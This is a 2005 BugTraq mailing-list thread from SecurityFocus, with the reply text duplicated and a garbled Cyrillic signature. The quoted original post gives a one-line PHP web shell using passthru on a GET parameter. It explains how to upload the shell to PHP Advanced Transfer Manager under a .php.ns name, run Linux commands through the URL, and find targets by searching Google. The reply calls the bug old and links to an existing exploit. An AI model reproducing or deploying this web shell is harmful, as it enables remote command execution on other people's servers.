BugTraq
Back to list
|
Post reply
uplod phpshell in PHP Advanced Transfer Manager
Oct 29 2005 06:46PM
sQl hotmail com
(1 replies)
Re: uplod phpshell in PHP Advanced Transfer Manager
Oct 30 2005 03:23AM
D_BuG (d_bug bk ru)
Read link =)
http://www.securityfocus.com/bid/13542/exploit
This old bug ;)
Good luke discovered!
> <
> uplod phpshell in PHP Advanced Transfer Manager
> one save as the code :
> --------
> <pre>
> <?
> passthru($_GET['sQl']);
?>>
> --------
file >> save as > sQl.php.ns
> now upload in the PHP Advanced Transfer Manager
> end the upload go to >
> www.site.com/[file upload name]/[files]/sQl.php.ns?sQl=[command linux]
> search google :
> PHP Advanced Transfer Manager
> }
> by sQl
> sQl[at]homail.[com]
> {
>>
--
Ñ óâàæåíèåì, Äåíèñ.
[ reply ]
Privacy Statement
Copyright 2010, SecurityFocus
http://www.securityfocus.com/bid/13542/exploit
This old bug ;)
Good luke discovered!
> <
> uplod phpshell in PHP Advanced Transfer Manager
> one save as the code :
> --------
> <pre>
> <?
> passthru($_GET['sQl']);
?>>
> --------
file >> save as > sQl.php.ns
> now upload in the PHP Advanced Transfer Manager
> end the upload go to >
> www.site.com/[file upload name]/[files]/sQl.php.ns?sQl=[command linux]
> search google :
> PHP Advanced Transfer Manager
> }
> by sQl
> sQl[at]homail.[com]
> {
>>
--
Ñ óâàæåíèåì, Äåíèñ.
[ reply ]